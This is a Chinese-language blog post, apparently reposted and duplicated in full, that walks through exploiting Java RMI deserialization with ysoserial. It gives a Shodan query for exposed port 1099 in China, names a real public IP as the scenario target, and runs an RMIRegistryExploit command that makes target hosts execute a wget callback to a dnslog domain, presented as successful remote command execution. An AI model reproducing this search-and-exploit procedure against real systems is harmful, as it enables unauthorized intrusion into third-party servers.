Java RMI服务远程命令执行利用
2016-10-10 22:27
309 查看
http://www.myhack58.com/Article/html/3/62/2016/71978.htm
Java RMI服务是远程方法调用(Remote Method Invocation)。它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
在Java Web中,很多地方都会用到RMI来相互调用。比如很多大型组织都会在后台部署一些Java应用,用于对外网站发布更新的静态页面,而这种发布命令的下达使用的就是这种RMI形式。
值得注意的是,RMI传输过程必然会使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这种库,那么会导致远程命令执行。
首先来看利用。
0x01 漏洞利用
搜索shodan:https://www.shodan.io/search?query=port%3A%221099%22+country%3A%22CN%22
可以看到还是有很多案例的,这里提取一个案例来演示:
场景:182.92.214.221服务器开放了1099端口(RMI服务的默认开放端口),且暴露在公网中,并且恰好使用了Apache Commons Collections的缺陷版本,我们需要在这台服务器上执行命令。
工具:
(1)ysoserial-0.0.3-all.jar
下载地址https://github.com/frohoff/ysoserial
(2)java环境
执行命令时,为了验证是否真正成功,我使用cloudeye来验证:
wget http://ddabcc.dnslog.info?hello 上面的url是我的cloudeye的地址(打码了)。
执行:
java -cp ysoserial-0.0.3-all.jar ysoserial.exploit.RMIRegistryExploit 43.224.227.* 1099 CommonsCollections1 "wget http://ddabcc.dnslog.info?hello" 虽然看到抛出异常了,但是我们的命令已经执行了,查看cloudeye:
0x02 简单的分析
注意到漏洞利用中的命令行里出现了ysoserial.exploit.RMIRegistryExploit,我就手贱去看了一下源码,exp的逻辑很清晰,我加了些批注看这个代码片段,似乎是注册RMI服务的过程中就被pwned了,反正原理很简单。
Java RMI服务是远程方法调用(Remote Method Invocation)。它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
在Java Web中,很多地方都会用到RMI来相互调用。比如很多大型组织都会在后台部署一些Java应用,用于对外网站发布更新的静态页面,而这种发布命令的下达使用的就是这种RMI形式。
值得注意的是,RMI传输过程必然会使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这种库,那么会导致远程命令执行。
首先来看利用。
0x01 漏洞利用
搜索shodan:https://www.shodan.io/search?query=port%3A%221099%22+country%3A%22CN%22
可以看到还是有很多案例的,这里提取一个案例来演示:
场景:182.92.214.221服务器开放了1099端口(RMI服务的默认开放端口),且暴露在公网中,并且恰好使用了Apache Commons Collections的缺陷版本,我们需要在这台服务器上执行命令。
工具:
(1)ysoserial-0.0.3-all.jar
下载地址https://github.com/frohoff/ysoserial
(2)java环境
执行命令时,为了验证是否真正成功,我使用cloudeye来验证:
wget http://ddabcc.dnslog.info?hello 上面的url是我的cloudeye的地址(打码了)。
执行:
java -cp ysoserial-0.0.3-all.jar ysoserial.exploit.RMIRegistryExploit 43.224.227.* 1099 CommonsCollections1 "wget http://ddabcc.dnslog.info?hello" 虽然看到抛出异常了,但是我们的命令已经执行了,查看cloudeye:
0x02 简单的分析
注意到漏洞利用中的命令行里出现了ysoserial.exploit.RMIRegistryExploit,我就手贱去看了一下源码,exp的逻辑很清晰,我加了些批注看这个代码片段,似乎是注册RMI服务的过程中就被pwned了,反正原理很简单。
相关文章推荐
- Java RMI服务远程命令执行利用
- 利用最新struts2远程执行命令漏洞渗透网站的演示
- 利用pipe执行远程机器命令的分析
- 利用python多线程执行远程linux上命令
- 利用python的paramiko模块,自定义函数远程批量执行shell命令
- 利用shell脚本执行ssh远程另一台主机执行命令并返回命令的结果集
- CentOS下利用sshpass不用手动输入密码远程执行命令
- 利用SharpSsh远程执行linux的shell命令
- paramiko-exec.py――利用paramiko远程执行命令
- java中利用jsch执行远程命令,实现sftp
- erlang 利用 ssh 远程执行 shell 命令
- 利用java实现可远程执行linux命令的小工具
- python 利用pexpect进行多机远程命令执行
- 安卓WebView中接口隐患与手机挂马利用(远程命令执行)
- python 利用pexpect进行多机远程命令执行
- 利用java实现可远程执行linux命令的小工具
- 利用apache common-net 操作telnet远程执行命令
- 远程利用telnet执行DOS命令
- 利用sshpass和ssh编写脚本远程执行命令
- python利用paramiko连接远程服务器执行命令